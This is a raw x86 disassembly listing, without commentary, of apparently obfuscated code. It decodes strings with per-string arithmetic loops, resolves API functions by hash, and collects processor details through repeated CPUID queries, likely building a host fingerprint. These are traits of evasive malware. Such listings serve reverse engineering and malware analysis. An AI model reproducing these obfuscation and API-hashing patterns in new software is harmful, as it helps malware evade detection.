mov esi, edx
and esi, 0x67
xor edx, 0x67
lea edx, [edx + esi*2]
inc dl
mov byte [esp + ecx + 0x75a5264], dl
inc ecx
cmp ecx, 0xf8a5adbe
jne 0x42f590
mov ecx, dword [0x451440]
test ecx, ecx
je 0x42f570
mov edx, dword [esp + 0x1c]
xor esi, esi
mov edi, dword [0x451444]
nop
nop
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x42f5e0
inc esi
cmp ecx, esi
jne 0x42f5d0
jmp 0x42f570
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je 0x42f570
push eax
push 1
push ecx
push dword [0x451448]
call fcn.004417a0
add esp, 0x10
jmp 0x42f570
jmp 0x430b83
movzx ebx, word [eax]
test bx, bx
mov dword [esi + 8], edi
mov dword [esi + 0x10], eax
je 0x4309db
add eax, 2
xor edx, edx
mov ecx, ebx
jmp 0x4309ac
inc edx
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x4309dd
cmp cx, 0x7f
jbe 0x4309a0
movzx edi, cx
cmp edi, 0x7ff
ja 0x4309d0
add edx, 2
jmp 0x4309a1
cmp cx, 0xffff
je 0x4309a1
add edx, 3
jmp 0x4309a1
xor edx, edx
mov edi, edx
and edi, 1
xor edx, 1
lea eax, [edx + edi*2]
add eax, 3
and eax, 0xfffffffc
call fcn.0040cd30
mov eax, esp
and eax, 0xfffffff0
mov esp, eax
mov dword [esi + 0xc], eax
test bx, bx
je 0x430b51
lea ecx, [edx + edi*2]
dec ecx
mov dword [esi + 0xc], eax
mov dword [esi + 4], ecx
test ecx, ecx
je 0x430b51
mov dword [esi + 0xc], eax
nop
nop
nop
nop
nop
movzx ecx, bx
mov edx, dword [esi + 0x10]
lea ebx, [edx + 2]
cmp cx, 0x7f
ja 0x430a40
mov dword [esi + 0x10], ebx
mov ebx, dword [esi + 0xc]
mov byte [ebx], cl
lea edi, [ebx + 1]
jmp 0x430ae0
cmp ecx, 0x7ff
ja 0x430a70
cmp dword [esi + 4], 2
jb 0x430a70
mov dword [esi + 0x10], ebx
mov ebx, ecx
shr ebx, 6
add bl, 0xc0
mov edx, dword [esi + 0xc]
mov byte [edx], bl
mov ebx, edx
and cl, 0x3f
or cl, 0x80
lea edi, [edx + 2]
mov byte [edx + 1], cl
jmp 0x430ae0
mov edi, ecx
and edi, 0xfc00
cmp edi, 0xd800
jne 0x430b07
cmp dword [esi + 4], 4
jb 0x430b07
movzx edi, word [edx + 2]
mov dword [esi + 0x14], edi
shl ecx, 0xa
lea ebx, [ecx + edi]
add ebx, 0xfca02400
mov ecx, ebx
shr ecx, 0x12
add cl, 0xf0
mov edi, dword [esi + 0xc]
mov byte [edi], cl
mov ecx, ebx
shr ecx, 0xc
and cl, 0x3f
or cl, 0x80
mov byte [edi + 1], cl
shr ebx, 6
and bl, 0x3f
or bl, 0x80
mov byte [edi + 2], bl
mov ebx, edi
add edx, 4
mov ecx, dword [esi + 0x14]
and cl, 0x3f
or cl, 0x80
mov byte [edi + 3], cl
add edi, 4
mov dword [esi + 0x10], edx
nop
nop
nop
nop
nop
mov ecx, dword [esi + 4]
add ecx, ebx
sub ecx, edi
mov dword [esi + 4], ecx
mov ecx, dword [esi + 0x10]
mov dword [esi + 0xc], edi
mov dword [esi + 0x10], ecx
movzx ebx, word [ecx]
test bx, bx
je 0x430b51
cmp dword [esi + 4], 0
jne 0x430a20
jmp 0x430b51
movzx edi, di
cmp edi, 0xdc00
jne 0x430b16
mov ecx, ebx
jmp 0x430af0
mov dword [esi + 0x10], ebx
cmp dword [esi + 4], 3
jb 0x430b4a
mov ebx, ecx
shr ebx, 0xc
or bl, 0xe0
mov edx, dword [esi + 0xc]
mov byte [edx], bl
mov ebx, ecx
shr ebx, 6
and bl, 0x3f
or bl, 0x80
mov byte [edx + 1], bl
mov ebx, edx
and cl, 0x3f
or cl, 0x80
lea edi, [edx + 3]
mov byte [edx + 2], cl
jmp 0x430ae0
mov ebx, dword [esi + 0xc]
mov edi, ebx
jmp 0x430ae0
mov ecx, dword [esi + 0xc]
mov byte [ecx], 0
movzx ecx, byte [eax]
test cl, cl
je 0x430b7d
inc eax
mov edi, dword [esi + 8]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x430b70
jmp 0x430b80
mov edi, dword [esi + 8]
mov byte [edi], 0
mov byte [edi], 0xa
inc edi
lea eax, [esi + 0x9c]
push eax
call fcn.004330e0
add esp, 4
movzx eax, al
jmp dword [eax*4 + 0x44e158]
jmp 0x4325ee
mov dword [esi + 8], edi
lea eax, [esi + 0x734]
push 0xa
push 0xb
push eax
push dword [esi + 0x9c]
call fcn.00423730
add esp, 0x10
mov dword [esi + 0x10], eax
lea eax, [esi + 0x61c]
push 0xa
push 0xb
push eax
push dword [esi + 0xa0]
call fcn.00423730
add esp, 0x10
mov dword [esi + 0xc], eax
lea eax, [esi + 0x934]
push 0xa
push 0xb
push eax
push dword [esi + 0xa4]
call fcn.00423730
add esp, 0x10
mov dword [esi + 4], eax
mov eax, dword [esi + 0xac]
mov dword [esi + 0x41c], 0xd82a381a
mov dword [esi + 0x420], 0xfeec27e5
mov dword [esi + 0x424], 0xf0f58e8a
mov dword [esi + 0x428], 0x1d3ed9f2
mov byte [esi + 0x42c], 0
mov edx, 0x43
mov edi, 0xbc
nop
nop
nop
nop
nop
movzx ecx, byte [esi + edx + 0x3d9]
mov ebx, edi
xor ebx, edx
and ebx, ecx
xor ebx, edx
add bl, 0xb1
mov byte [esi + edx + 0x3d9], bl
inc edx
dec edi
cmp edx, 0x54
jne 0x430c40
movzx edx, byte [esi + 0x41c]
test dl, dl
je 0x430c8d
lea edi, [esi + 0x41d]
mov ecx, dword [esi + 8]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ecx], dl
inc ecx
movzx edx, byte [edi]
inc edi
test dl, dl
jne 0x430c80
jmp 0x430c90
mov ecx, dword [esi + 8]
mov byte [ecx], 0
movzx edx, byte [eax]
test dl, dl
mov edi, ecx
mov ebx, dword [esi + 0x10]
je 0x430cab
inc eax
mov byte [edi], dl
inc edi
movzx edx, byte [eax]
inc eax
test dl, dl
jne 0x430ca0
mov word [edi], 0x2820
add edi, 2
movzx ecx, byte [ebx]
test cl, cl
je 0x430cdd
inc ebx
mov eax, dword [esi + 4]
mov edx, dword [esi + 0xc]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [ebx]
inc ebx
test cl, cl
jne 0x430cd0
jmp 0x430ce3
mov eax, dword [esi + 4]
mov edx, dword [esi + 0xc]
mov byte [edi], 0x2e
inc edi
movzx ecx, byte [edx]
test cl, cl
je 0x430cfb
inc edx
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x430cf0
mov byte [edi], 0x2e
inc edi
movzx ecx, byte [eax]
test cl, cl
je 0x430d1b
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x430d10
mov byte [edi], 0x29
inc edi
lea eax, [esi + 0x704]
push eax
call fcn.00444a30
add esp, 4
movzx eax, al
jmp dword [eax*4 + 0x44e160]
mov dword [esi + 8], edi
mov byte [edi], 0x20
xor eax, eax
cmp dword [esi + 0x704], 1
sete al
jmp dword [eax*4 + 0x44e168]
mov dword [esi + 0x48], 0xf33e3f78
mov word [esi + 0x4c], 0
mov byte [esi + 0x4e], 0
mov ecx, 0x2c
mov edx, 0x7c36ecd3
nop
nop
nop
nop
movzx eax, byte [esi + ecx + 0x1c]
mov edi, ecx
xor edi, edx
and edi, eax
xor edi, edx
mov ebx, 0x6d12a022
sub ebx, edi
mov eax, ebx
add edi, 5
and edi, 6
and ebx, 0xf9
or ebx, edi
and eax, 1
xor ebx, 7
lea eax, [ebx + eax*2]
mov byte [esi + ecx + 0x1c], al
inc ecx
dec edx
cmp ecx, 0x33
jne 0x430d70
lea ebx, [esi + 0x48]
jmp case.0x42cf5f.207
mov dword [esi + 0x41c], 0x732022f8
mov byte [esi + 0x420], 0
xor ecx, ecx
lea ebx, [esi + 0x41c]
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
and eax, 8
mov edi, edx
xor edi, 0xca1dd36c
add edi, eax
movzx eax, byte [esi + edx + 0x41c]
xor edi, eax
add edi, 0xd6adee3
mov eax, edi
xor eax, 0xfe
or edi, 1
and eax, edi
add eax, edi
mov byte [esi + edx + 0x41c], al
inc edx
add ecx, 2
cmp edx, 5
jne 0x430dd0
mov ecx, dword [esi + 8]
inc ecx
jmp dword [0x44e170]
jmp dword [0x44e1a0]
mov dword [esi + 0x41c], 0x4046505e
mov dword [esi + 0x420], 0x3d51
mov eax, 0x21813734
mov ecx, 0xe7ec8cb
nop
nop
mov dword [esi + 4], ecx
movzx edx, byte [esi + eax - 0x21813318]
lea edi, [edx + edx]
not edi
add edi, edx
mov ecx, dword [esi + 4]
and ecx, 0xa768004
mov ebx, eax
and ebx, 0x2100363b
or ebx, ecx
mov ecx, edx
and edx, 4
xor edx, 0x8af78104
and edx, edi
and ecx, 0xfffffffb
or edx, ecx
mov ecx, edx
and ecx, ebx
add edx, ebx
add ecx, ecx
sub edx, ecx
mov ecx, dword [esi + 4]
add dl, 0xfc
mov byte [esi + eax - 0x21813318], dl
inc eax
dec ecx
cmp eax, 0x2181373c
jne 0x430ec0
jmp dword [0x44e1ac]
xor ecx, ecx
cmp byte [eax], 0x20
sete cl
jmp dword [ecx*4 + 0x44e1f0]
inc eax
xor ecx, ecx
cmp byte [eax], 0x20
sete cl
jmp dword [ecx*4 + 0x44e1f0]
mov dword [esi + 0x9c], 0x40626c8a
mov dword [esi + 0xa0], 0x49665054
mov dword [esi + 0xa4], 0x712f2429
mov word [esi + 0xa8], 0x8d6c
mov dword [esi + 0xaa], 0
mov byte [esi + 0xae], 0
xor ecx, ecx
mov edi, dword [esi + 8]
nop
nop
nop
mov edx, ecx
add dl, 0x60
xor dl, byte [esi + ecx + 0x9c]
add dl, 0x20
mov byte [esi + ecx + 0x9c], dl
inc ecx
cmp ecx, 0x13
jne 0x430f80
movzx ecx, byte [esi + 0x9c]
test cl, cl
je 0x430fbb
lea edx, [esi + 0x9d]
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x430fb0
mov byte [edi], 0
movzx ecx, byte [eax]
test cl, cl
je 0x430fdc
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [eax + 1]
inc eax
test cl, cl
jne 0x430fd0
mov dword [esi + 8], edi
mov byte [edi], 0
mov dword [esi + 0x61c], 0x2c2d2e2f
mov word [esi + 0x620], 0
mov eax, 0xf8a5adb8
mov edx, 0x75a5247
nop
movzx ecx, byte [esi + eax + 0x75a5864]
mov dword [esi + 4], ecx
mov ecx, edx
and ecx, 0x3021206
mov ebx, eax
and ebx, 0x402588a1
or ebx, ecx
xor ebx, dword [esi + 4]
xor ebx, 0xbb82371e
or ebx, edx
mov edi, ebx
not edi
and ebx, 2
mov ecx, edi
and ecx, 0x402588bd
imul ecx, ebx
mov ebx, edi
and ebx, 2
or edi, 2
imul edi, ebx
add edi, ecx
lea ecx, [edx - 0x75a5200]
and ecx, edi
mov ebx, edi
xor ebx, eax
add ecx, ecx
sub ebx, ecx
add bl, byte [esi + 4]
add bl, 0x68
mov byte [esi + eax + 0x75a5864], bl
inc eax
dec edx
cmp eax, 0xf8a5adbe
jne 0x431000
mov eax, dword [esi + 0x61c]
mov ecx, dword [0x451440]
test ecx, ecx
je case.default.0x4310cb
xor edx, edx
mov edi, dword [0x451444]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + edx*8], 0x9abdb589
je 0x4310a0
inc edx
cmp ecx, edx
jne 0x431090
jmp case.default.0x4310cb
mov ecx, dword [edi + edx*8 + 4]
cmp ecx, eax
je case.default.0x4310cb
lea eax, [esi + 0x9c]
push 0
push 0x2c
push eax
push 0
push 4
push ecx
push dword [0x451448]
call fcn.004417a0
add esp, 0x1c
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44e1f8]
mov dword [esi + 4], 0
jmp dword [0x44e204]
movzx eax, byte [esi + 0xc4]
mov dword [esi + 4], eax
jmp dword [0x44e204]
mov eax, 0xb
xor ecx, ecx
cpuid
mov edi, ebx
jmp dword [0x44e20c]
mov eax, 0xb
xor ecx, ecx
cpuid
mov edi, ebx
jmp dword [0x44e20c]
and ecx, 0xff00
xor eax, eax
cmp ecx, 0x100
sete al
jmp dword [eax*4 + 0x44e210]
jmp dword [0x44e21c]
nop
mov eax, 0xb
mov ecx, 1
cpuid
jmp dword [0x44e220]
mov edi, ebx
and ecx, 0xff00
xor eax, eax
cmp ecx, 0x100
sete al
jmp dword [eax*4 + 0x44e228]
movzx eax, byte [esi + 4]
mov dword [esi + 0xc], eax
xor eax, eax
xor ecx, ecx
cpuid
cmp eax, 4
jl 0x43125b
mov eax, 4
xor ecx, ecx
cpuid
jmp 0x43121e
mov eax, 0xb
xor ecx, ecx
cpuid
and ecx, 0xff00
xor eax, eax
cmp ecx, 0x200
sete al
jmp dword [eax*4 + 0x44e230]
mov eax, 0xb
mov ecx, 1
cpuid
and ecx, 0xff00
xor eax, eax
cmp ecx, 0x200
sete al
jmp dword [eax*4 + 0x44e238]
movzx eax, byte [esi + 4]
mov dword [esi + 0xc], eax
xor eax, eax
xor ecx, ecx
cpuid
cmp eax, 4
jl 0x43128a
mov eax, 4
xor ecx, ecx
cpuid
jmp 0x43121e
xor eax, eax
test di, di
sete al
jmp dword [eax*4 + 0x44e240]
mov eax, ebx
xor edx, edx
div di
movzx eax, ax
mov dword [esi + 4], eax
jmp case.0x42cf5f.259
mov dword [esi + 0xc], ebx
xor eax, eax
xor ecx, ecx
cpuid
cmp eax, 4
jl 0x431228
mov eax, 4
xor ecx, ecx
cpuid
sar eax, 0x1a
mov ecx, eax
jmp 0x4312ba
mov eax, 0x80000000
xor ecx, ecx
cpuid
mov edi, eax
mov eax, 1
xor ecx, ecx
cpuid
test edx, 0x10000000
je 0x4312c8
cmp edi, 0x80000008
jl 0x4312c8
mov eax, 0x80000008
xor ecx, ecx
cpuid
jmp 0x4312b7
mov eax, 0x80000000
xor ecx, ecx
cpuid
mov edi, eax
mov eax, 1
xor ecx, ecx
cpuid
test edx, 0x10000000
je 0x4312c8
cmp edi, 0x80000008
jl 0x4312c8
mov eax, 0x80000008
xor ecx, ecx
cpuid
jmp 0x4312b7
mov eax, 0x80000000
xor ecx, ecx
cpuid
mov edi, eax
mov eax, 1
xor ecx, ecx
cpuid
test edx, 0x10000000
je 0x4312c8
cmp edi, 0x80000008
jl 0x4312c8
mov eax, 0x80000008
xor ecx, ecx
cpuid
movzx eax, cl
and ecx, 1
xor eax, 1
lea eax, [eax + ecx*2]
mov dword [esi + 4], eax
jmp 0x4312cf
mov dword [esi + 4], 1
mov ebx, dword [esi + 0xc]
lea ecx, [esi + 0x88]
movzx eax, bx
push 0xa
push 4
push ecx
push eax
call fcn.004370c0
add esp, 0x10
mov dword [esi + 0xc], eax
mov dword [esi + 0x9c], 0xac8ab8ea
mov dword [esi + 0xa0], 0x598e5458
mov dword [esi + 0xa4], 0x76794544
mov dword [esi + 0xa8], 0xb5884274
mov byte [esi + 0xac], 0xd4
mov dword [esi + 0xad], 0
mov dword [esi + 0xb0], 0
mov edi, 0x76ed96d7
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esi + edi - 0x76ed963b]
mov ebx, ecx
and ebx, edi
mov eax, ebx
or al, 0xfd
inc al
mov edx, ebx
and dl, 0xfd
mul dl
mov edx, eax
add dl, cl
mov eax, ebx
shr al, 1
and al, 1
or bl, 2
mul bl
add al, al
sub dl, al
movzx eax, dl
add eax, edi
add al, 0xcd
mov byte [esi + edi - 0x76ed963b], al
inc edi
cmp edi, 0x76ed96ef
jne 0x431340
movzx eax, byte [esi + 0x9c]
test al, al
je 0x4313ad
lea edx, [esi + 0x9d]
mov ecx, dword [esi + 8]
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ecx], al
inc ecx
movzx eax, byte [edx]
inc edx
test al, al
jne 0x4313a0
jmp 0x4313b0
mov ecx, dword [esi + 8]
mov byte [ecx], 0
mov edx, dword [esi + 0xc]
movzx eax, byte [edx]
test al, al
je 0x4313cb
inc edx
nop
nop
mov byte [ecx], al
inc ecx
movzx eax, byte [edx]
inc edx
test al, al
jne 0x4313c0
mov ebx, ecx
mov byte [ecx], 0
movzx eax, byte [esi + 4]
push 0xa
push 4
lea ecx, [esi + 0x88]
push ecx
push eax
call fcn.0040e430
add esp, 0x10
mov dword [esi + 0x9c], 0x54baa88a
mov dword [esi + 0xa0], 0x68867c48
mov dword [esi + 0xa4], 0x5c495d55
mov word [esi + 0xa8], 0x8f66
mov byte [esi + 0xaa], 0xae
mov dword [esi + 0xab], 0
mov ecx, 0x8efe605b
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esi + ecx + 0x7101a041]
xor edx, ecx
mov edi, edx
and edi, 0x38
xor edx, 0x38
lea edx, [edx + edi*2]
inc dl
mov byte [esi + ecx + 0x7101a041], dl
inc ecx
cmp ecx, 0x8efe606e
jne 0x431430
movzx ecx, byte [esi + 0x9c]
test cl, cl
je 0x43147d
lea edx, [esi + 0x9d]
mov edi, ebx
nop
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x431470
jmp 0x43147f
mov edi, ebx
mov byte [edi], 0
movzx ecx, byte [eax]
test cl, cl
je 0x43149b
inc eax
nop
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x431490
mov dword [esi + 8], edi
mov byte [edi], 0
mov dword [esi + 0x9c], 0x204a586a
mov dword [esi + 0xa0], 0x4d503438
mov byte [esi + 0xa4], 0x6c
mov dword [esi + 0xa5], 0
mov word [esi + 0xa9], 0
mov eax, 0xdc90e567
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esi + eax + 0x236f1b35]
mov edx, ecx
not edx
or edx, eax
lea edi, [ecx + edx]
inc edi
mov ebx, edi
and ebx, 0xfd
mov edx, edi
or edx, 0xfd
inc edx
imul edx, ebx
mov ebx, edi
and ebx, 2
or edi, 2
imul edi, ebx
sub edx, edi
mov edi, eax
and edi, ecx
xor ecx, eax
lea ecx, [ecx + edi*2]
add ecx, edx
add cl, 0xfd
mov byte [esi + eax + 0x236f1b35], cl
inc eax
cmp eax, 0xdc90e576
jne 0x4314e0
movzx eax, byte [esi + 0x9c]
test al, al
je 0x43155d
lea ecx, [esi + 0x9d]
mov edx, dword [esi + 8]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x431550
jmp 0x431560
mov edx, dword [esi + 8]
mov dword [esi + 8], edx
mov byte [edx], 0
mov eax, dword [0x450128]
mov dword [esi + 0x9c], 0x9361911d
mov dword [esi + 0xa0], 0xaf5cad51
mov dword [esi + 0xa4], 0xab98a99b
mov dword [esi + 0xa8], 0xa75aa592
mov dword [esi + 0xac], 0xa356a154
mov dword [esi + 0xb0], 0xbdbc
mov ecx, 0x4349615c
nop
nop
nop
nop
movzx edi, byte [esi + ecx - 0x434960c0]
xor edi, ecx
mov edx, edi
xor edx, 0xcc
or edi, 0x33
and edx, edi
add edx, edi
inc dl
mov byte [esi + ecx - 0x434960c0], dl
inc ecx
cmp ecx, 0x43496174
jne 0x4315b0
lea ecx, [esi + 0x9c]
push 0x800
push 0
push ecx
call eax
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
lea ecx, [esi + 0x1c]
mov dword [esi + 0x10], eax
push eax
call fcn.00440160
movzx eax, al
mov edi, dword [esi + 8]
jmp dword [eax*4 + 0x44e248]
mov byte [edi], 0
mov ecx, dword [esi + 0x18]
mov eax, ecx
not eax
and eax, edi
add eax, eax
mov dword [esi + 0x9c], 0x2d2f3471
mov dword [esi + 0xa0], 0x296c2c23
mov word [esi + 0xa4], 0x2734
mov byte [esi + 0xa6], 0xb2
mov dword [esi + 0xa7], 0
mov byte [esi + 0xab], 0
xor edi, ecx
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0x5f
xor dl, byte [esi + ecx + 0x9c]
add dl, 0x25
mov byte [esi + ecx + 0x9c], dl
inc ecx
cmp ecx, 0x10
jne 0x431660
sub eax, edi
mov ecx, dword [ebp + 8]
push eax
mov edi, dword [esi + 0x18]
push edi
lea eax, [esi + 0x9c]
push eax
call fcn.0040d8f0
jmp dword [0x44e260]
push edi
call fcn.0040cde0
add esp, 4
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
jmp dword [0x44e250]
lea eax, [esi + 0xa0]
push 0x344
push 0
push eax
call fcn.0040ce50
add esp, 0xc
mov dword [esi + 0x9c], 0x348
push 0xa41744c7
push dword [esi + 0x1c]
call fcn.004442e0
add esp, 8
push 0
lea ecx, [esi + 0x9c]
push ecx
push 0
push 0
call eax
movzx edx, word [esi + 0xe0]
mov edi, dword [esi + 8]
test dx, dx
je 0x43182d
lea ecx, [esi + 0xe0]
mov eax, 0x7f
mov edi, dword [esi + 8]
nop
movzx ebx, dx
lea edx, [ecx + 2]
mov dword [esi + 4], edx
cmp bx, 0x7f
ja 0x431730
mov byte [edi], bl
lea edx, [edi + 1]
jmp 0x431753
cmp ebx, 0x7ff
ja 0x431780
cmp eax, 2
jb 0x431780
mov ecx, ebx
shr ecx, 6
add cl, 0xc0
mov byte [edi], cl
and bl, 0x3f
or bl, 0x80
lea edx, [edi + 2]
mov byte [edi + 1], bl
mov ecx, dword [esi + 4]
add eax, edi
sub eax, edx
mov edi, edx
movzx edx, word [ecx]
test dx, dx
je 0x43182d
test eax, eax
jne 0x431710
jmp 0x43182d
mov edx, ebx
and edx, 0xfc00
cmp edx, 0xd800
jne 0x4317e5
cmp eax, 4
jb 0x4317e5
movzx edx, word [ecx + 2]
mov dword [esi + 4], edx
shl ebx, 0xa
mov edx, dword [esi + 4]
add edx, ebx
add edx, 0xfca02400
mov ebx, edx
shr ebx, 0x12
add bl, 0xf0
mov byte [edi], bl
mov ebx, edx
shr ebx, 0xc
and bl, 0x3f
or bl, 0x80
mov byte [edi + 1], bl
shr edx, 6
and dl, 0x3f
or dl, 0x80
mov byte [edi + 2], dl
add ecx, 4
mov edx, dword [esi + 4]
and dl, 0x3f
or dl, 0x80
mov byte [edi + 3], dl
lea edx, [edi + 4]
jmp 0x431756
movzx ecx, dx
cmp ecx, 0xdc00
jne 0x4317f8
mov ecx, dword [esi + 4]
jmp 0x43175c
cmp eax, 3
jb 0x431826
mov ecx, ebx
shr ecx, 0xc
or cl, 0xe0
mov byte [edi], cl
mov ecx, ebx
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [edi + 1], cl
and bl, 0x3f
or bl, 0x80
lea edx, [edi + 3]
mov byte [edi + 2], bl
jmp 0x431753
mov edx, edi
jmp 0x431753
mov byte [edi], 0
sub edi, dword [esi + 8]
lea ebx, [esi + 0x61c]
push 0xdc
push 0
push ebx
call fcn.0040ce50
add esp, 0xc
mov word [esi + 0x660], 0xdc
push 0x2747a387
push dword [esi + 0x1c]
call fcn.004442e0
add esp, 8
push ebx
push 0xffffffffffffffff
push 0
call eax
lea eax, [esi + 0x410]
push 0xa
push 0xc
push eax
push dword [esi + 0x6c8]
call fcn.004372b0
add esp, 0x10
mov dword [esi + 0xc], eax
lea eax, [esi + 0x404]
push 0xa
push 0xc
push eax
push dword [esi + 0x6cc]
call fcn.004372b0
add esp, 0x10
mov dword [esi + 4], eax
mov dword [esi + 0x24], 0x1d3a285a
mov dword [esi + 0x28], 0xe1eeeae7
mov dword [esi + 0x2c], 0xe732dcfb
mov dword [esi + 0x30], 0xe9e7e2eb
mov dword [esi + 0x34], 0x18151fdf
mov dword [esi + 0x38], 0xadcee11a
mov dword [esi + 0x3c], 0
mov ecx, 0x6f
mov edx, 0x10
nop
nop
nop
nop
movzx eax, byte [esi + ecx - 0x4b]
mov ebx, eax
xor ebx, ecx
or ebx, edx
add bl, bl
add bl, al
movzx eax, bl
add eax, ecx
add al, 0xd7
mov byte [esi + ecx - 0x4b], al
inc ecx
dec edx
cmp ecx, 0x8b
jne 0x4318e0
add edi, dword [esi + 8]
movzx ecx, byte [esi + 0x24]
test cl, cl
je 0x43192b
lea edx, [esi + 0x25]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x431920
mov byte [edi], 0
mov edx, dword [esi + 0xc]
movzx ecx, byte [edx]
test cl, cl
mov eax, dword [esi + 4]
je 0x43194b
inc edx
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x431940
mov byte [edi], pe_nt_image_headers32
inc edi
movzx ecx, byte [eax]
test cl, cl
je 0x43196b
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x431960
mov byte [edi], 0
push dword [esi + 0x10]
call dword [0x45022c]
jmp case.0x4310cb.22
mov byte [edi], 0
push dword [esi + 0x10]
call dword [0x45022c]
jmp dword [0x44e25c]
lea eax, [esi + 0xa0]
push 0x344
push 0
push eax
call fcn.0040ce50
add esp, 0xc
mov dword [esi + 0x9c], 0x348
push 0xa41744c7
push dword [esi + 0x1c]
call fcn.004442e0
add esp, 8
push 0
lea ecx, [esi + 0x9c]
push ecx
push 0
push 0
call eax
movzx edx, word [esi + 0xe0]
mov edi, dword [esi + 8]
test dx, dx
je 0x431b20
lea ecx, [esi + 0xe0]
mov eax, 0x7f
mov edi, dword [esi + 8]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, dx
lea edx, [ecx + 2]
mov dword [esi + 4], edx
cmp bx, 0x7f
ja 0x431a20
mov byte [edi], bl
lea edx, [edi + 1]
jmp 0x431a43
cmp ebx, 0x7ff
ja 0x431a70
cmp eax, 2
jb 0x431a70
mov ecx, ebx
shr ecx, 6
add cl, 0xc0
mov byte [edi], cl
and bl, 0x3f
or bl, 0x80
lea edx, [edi + 2]
mov byte [edi + 1], bl
mov ecx, dword [esi + 4]
add eax, edi
sub eax, edx
mov edi, edx
movzx edx, word [ecx]
test dx, dx
je 0x431b20
test eax, eax
jne 0x431a00
jmp 0x431b20
mov edx, ebx
and edx, 0xfc00
cmp edx, 0xd800
jne 0x431ad5
cmp eax, 4
jb 0x431ad5
movzx edx, word [ecx + 2]
mov dword [esi + 4], edx
shl ebx, 0xa
mov edx, dword [esi + 4]
add edx, ebx
add edx, 0xfca02400
mov ebx, edx
shr ebx, 0x12
add bl, 0xf0
mov byte [edi], bl
mov ebx, edx
shr ebx, 0xc
and bl, 0x3f
or bl, 0x80
mov byte [edi + 1], bl
shr edx, 6
and dl, 0x3f
or dl, 0x80
mov byte [edi + 2], dl
add ecx, 4
mov edx, dword [esi + 4]
and dl, 0x3f
or dl, 0x80
mov byte [edi + 3], dl
lea edx, [edi + 4]
jmp 0x431a46
movzx ecx, dx
cmp ecx, 0xdc00
jne 0x431ae8
mov ecx, dword [esi + 4]
jmp 0x431a4c
cmp eax, 3
jb 0x431b16
mov ecx, ebx
shr ecx, 0xc
or cl, 0xe0
mov byte [edi], cl
mov ecx, ebx
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [edi + 1], cl
and bl, 0x3f
or bl, 0x80
lea edx, [edi + 3]
mov byte [edi + 2], bl
jmp 0x431a43
mov edx, edi
jmp 0x431a43
mov byte [edi], 0
sub edi, dword [esi + 8]
lea ebx, [esi + 0x61c]
push 0xdc
push 0
push ebx
call fcn.0040ce50
add esp, 0xc
mov word [esi + 0x660], 0xdc
push 0x2747a387
push dword [esi + 0x1c]
call fcn.004442e0
add esp, 8
push ebx
push 0xffffffffffffffff
push 0
call eax
lea eax, [esi + 0x410]
push 0xa
push 0xc
push eax
push dword [esi + 0x6c8]
call fcn.004372b0
add esp, 0x10
mov dword [esi + 0xc], eax
lea eax, [esi + 0x404]
push 0xa
push 0xc
push eax
push dword [esi + 0x6cc]
call fcn.004372b0
add esp, 0x10
mov dword [esi + 4], eax
mov dword [esi + 0x24], 0x1d3a285a
mov dword [esi + 0x28], 0xe1eeeae7
mov dword [esi + 0x2c], 0xe732dcfb
mov dword [esi + 0x30], 0xe9e7e2eb
mov dword [esi + 0x34], 0x18151fdf
mov dword [esi + 0x38], 0xadcee11a
mov dword [esi + 0x3c], 0
mov ecx, 0x6f
mov edx, 0x10
nop
movzx eax, byte [esi + ecx - 0x4b]
mov ebx, eax
xor ebx, ecx
or ebx, edx
add bl, bl
add bl, al
movzx eax, bl
add eax, ecx
add al, 0xd7
mov byte [esi + ecx - 0x4b], al
inc ecx
dec edx
cmp ecx, 0x8b
jne 0x431bd0
add edi, dword [esi + 8]
movzx ecx, byte [esi + 0x24]
test cl, cl
je 0x431c20
lea eax, [esi + 0x25]
mov edx, dword [esi + 0xc]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
